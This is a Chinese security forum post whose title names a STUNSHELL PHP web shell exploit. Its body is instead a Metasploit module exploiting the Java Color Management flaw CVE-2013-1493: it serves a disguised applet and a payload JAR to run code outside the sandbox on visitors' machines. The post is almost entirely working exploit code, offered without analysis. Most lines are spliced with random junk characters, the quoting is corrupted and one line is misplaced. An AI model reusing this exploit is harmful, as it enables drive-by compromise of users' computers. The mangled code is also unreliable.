找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2450|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
' f! O8 ?: I; W9 b
/ S- q; S. V& v8 ]; ?, C# This file is part of the Metasploit Framework and may be subject to
- G/ m2 c2 H3 \- m. y# redistribution and commercial restrictions. Please see the Metasploit; Q! Z% n4 w4 S2 g- @+ P+ Z) l
# web site for more information on licensing and terms of use.; S# {2 \; N1 O4 L6 F
# http://metasploit.com/
0 n# |$ E" c& O3 H6 |##
8 f2 L( g- X5 n9 A6 K5 Yrequire ‘msf/core’
, R6 \6 \$ {. }require ‘rex’0 x& I. V8 ]6 n+ ]
class Metasploit3 < Msf::Exploit::Remote
- \1 R  s! U6 R- b  Y8 e8 m# K( URank = NormalRanking# S. a" B$ {7 D( x& {
include Msf::Exploit::Remote::HttpServer::HTML
6 ~* O, S( E3 L+ O5 Finclude Msf::Exploit::EXE
6 b7 W: @" U" Q) K6 s) T( _include Msf::Exploit::Remote::BrowserAutopwn  ^% z" v7 D; K3 j
autopwn_info({ :javascript => false })/ k: p- c3 W  `" d! h- H
def initialize( info = {} )
1 O: f# _+ V& I9 Isuper( update_info( info,1 P$ J5 g, S% N) O
‘Name’ => ‘Java CMM Remote Code Execution’,
- F& ]0 l) \/ o8 z, `‘Description’ => %q{4 i. i6 ^" E, j3 G
This module abuses the Color Management classes from a Java Applet to run' H; n# q/ s- C* i4 p
arbitrary Java code outside of the sandbox as exploited in the wild in February
1 I/ \' E# N* Hand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
' Z9 q2 Z  F  z8 O) A; ^- Band earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1" l% O, a+ R, p( G4 B
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
% y2 ?+ W5 f- I( |1 \warning in order to run the malicious applet./ f" M! N/ L) u0 @* K3 Y
},
& y1 `3 R* b* n, H3 d. u: x‘License’ => MSF_LICENSE,
0 V+ j+ F4 k+ G% @" A‘Author’ =>
& V. ^% t6 I+ A3 X- t) ]'Unknown', # Vulnerability discovery and Exploit+ L2 r0 h) q( }
'juan vazquez' # Metasploit module (just ported the published exploit)* s5 k/ p* N4 J
],
, z' \. w- W2 A5 I. v  t‘References’ =>9 j+ K% j  Y& A2 _3 Y; J
[
" D* j8 F& s  f1 `% e* L. M[ 'CVE', '2013-1493' ],$ `( s" k. p+ q* V/ w
[ 'OSVDB', '90737' ],: x& ]$ L8 _& ?" J8 t8 R
[ 'BID', '58238' ],
% \; `2 W, J: h[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],, x2 _0 w( }; ]; y
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],+ s1 g; c' I! `, A# Y3 J
[ 'URL', 'http://pastie.org/pastes/6581034' ]6 J6 P' b* b1 b4 W  [# r8 b( a
],  k+ Y/ B& {5 M8 H+ k
‘Platform’ => [ 'win', 'java' ],( Y) [% ^. i; R( t+ y  e
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },1 z4 y) X0 \' E% t  {
‘Targets’ =>
6 o7 \" h: e! i5 E* ?[
' B, O( B" T5 o: A  B+ v: p[ 'Generic (Java Payload)',1 X6 Q2 B. d) Q0 x3 [# n& N: L
{. g% S6 E1 D6 K% C0 n  W
'Platform' => 'java',3 i8 T: T8 q9 f) h
'Arch' => ARCH_JAVA# k4 i4 E& J9 y4 M  q
}
- j7 a8 Z& `) l+ ~% Z- e],9 L7 s: |4 s6 h1 |1 r" C
[ 'Windows x86 (Native Payload)',
! h0 I% {0 `' j( \5 Y: N6 b2 v{8 c- _  n7 R+ F1 K1 Y6 i
'Platform' => 'win',
6 _7 C% `2 _' }5 g8 w/ W9 {& M. g" ]4 v'Arch' => ARCH_X86
% b8 A, f; S5 h: \$ }}3 m& i. {% {8 q/ {7 G; L% G6 Z- X$ K$ H
]" i3 j1 X7 w4 W% L5 q) c
],( h  d3 s, ]5 B" u! k: X) X
‘‘DisclosureDate’ => ‘Mar 01 2013′, c$ F9 L( Q/ ~. w% A1 X: x5 u
))) X& z. ^# G. w( \
end
) g9 o, [$ ~' o8 z( m& Jdef setup
# t% S0 o: ^4 h) Fpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)! D# W7 t& S4 x; [4 }, K; r2 p" ~+ @
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 J+ h" \" _* bpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)* x) t, j* e+ g7 u$ I5 M' d3 |+ R
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }- s, c6 M8 u" T2 _, e" ]
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
* H# R! _6 v4 o' C@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
; T7 i9 X- ~- e1 J4 s1 q8 xpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
4 d/ `4 e/ e7 M- F3 s' j@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
# F( i. P3 E2 P) P/ f" g: A@init_class_name = rand_text_alpha(“Init”.length)% T( C, W9 t- _
@init_class.gsub!(“Init”, @init_class_name)
" I$ t: f' F* d% i! usuper
5 H: c/ F1 e1 v# o. E$ ?end
& O" u4 E8 {. `1 s. P% p( udef on_request_uri(cli, request)
$ F& C7 r5 e8 y# Eprint_status(“handling request for #{request.uri}”)2 ^' o) A; g9 F) Y9 c
case request.uri/ w. x" u# ~# o2 L2 |  Z
when /\.jar$/i+ {. i2 ^3 |2 ~$ C; r
jar = payload.encoded_jar
! r3 }) s" U0 V* W8 Qjar.add_file(“#{@init_class_name}.class”, @init_class). F$ y$ M/ E. F! k( s
jar.add_file(“Leak.class”, @leak_class)
# ~* ]$ I+ ?- pjar.add_file(“MyBufferedImage.class”, @buffered_image_class)' M4 P* y5 g* n
jar.add_file(“MyColorSpace.class”, @color_space_class)
6 ~6 Z) \# Q4 \# ~7 o6 Z1 b& hDefaultTarget’ => 1,3 V9 m* S* @" R0 ]3 O. w
metasploit_str = rand_text_alpha(“metasploit”.length)
$ v/ y5 G2 }0 R: X/ a3 @payload_str = rand_text_alpha(“payload”.length). ]7 ?9 q  S+ ~" |7 B5 S' Y
jar.entries.each { |entry|
/ y+ T0 i1 L1 r% s' Oentry.name.gsub!(“metasploit”, metasploit_str)
- b+ z0 Y& S8 n8 G7 Sentry.name.gsub!(“Payload”, payload_str)+ D* \- T; P0 L7 n# L
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
; D: @  v# b. b1 v: ?: Y6 O- O" A: Lentry.data = entry.data.gsub(“Payload”, payload_str)
7 g0 I1 \' O% l8 N/ q/ \, P6 h}5 j. R, ^( L! e- g: X* w
jar.build_manifest
/ {  r. T+ L  e6 }4 k1 I  ?2 H+ ~send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })# E+ y- m: d5 c
when /\/$/
7 F0 N* A' c$ d" npayload = regenerate_payload(cli)4 R# f  f& Q% A
if not payload1 t8 O6 F8 O3 F# S2 o( S9 {6 {, D
print_error(“Failed to generate the payload.”)2 U$ @6 u2 l# h. {7 e1 i
send_not_found(cli)
( G( [5 o8 h' X% ^& }: s" sreturn
' }- H+ j3 o3 N/ D) _1 l5 z3 e- H" uend/ h: }' o/ j* ]2 n/ Y
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })9 [6 ~6 u3 q% X
else  {3 `$ W" ?7 b4 S% H" p2 a2 d+ A
send_redirect(cli, get_resource() + ‘/’, ”)! F5 e/ m- u: T- Z; e6 A, _( E
end
  z2 q* j* D, s" n: a1 Bend/ A" E# e8 c! ^& E
def generate_html# A& q6 X1 }, q6 {- R, W$ A
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|$ S$ L3 A( U1 k
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
% r( k, ~* h, ?% b5 H2 l! |7 y8 m8 Jhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|0 B+ _' `) R3 Z$ S
html += %Q|</applet></body></html>|, V* O$ V: R9 g
return html
6 x7 U; b- j7 k) X9 _0 j% Hend
0 ?. Z! _9 K0 M8 A5 send
+ ~+ g5 I/ H0 L  o% U$ D) Fend- R& O* S( X1 D9 t, I5 I) T4 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表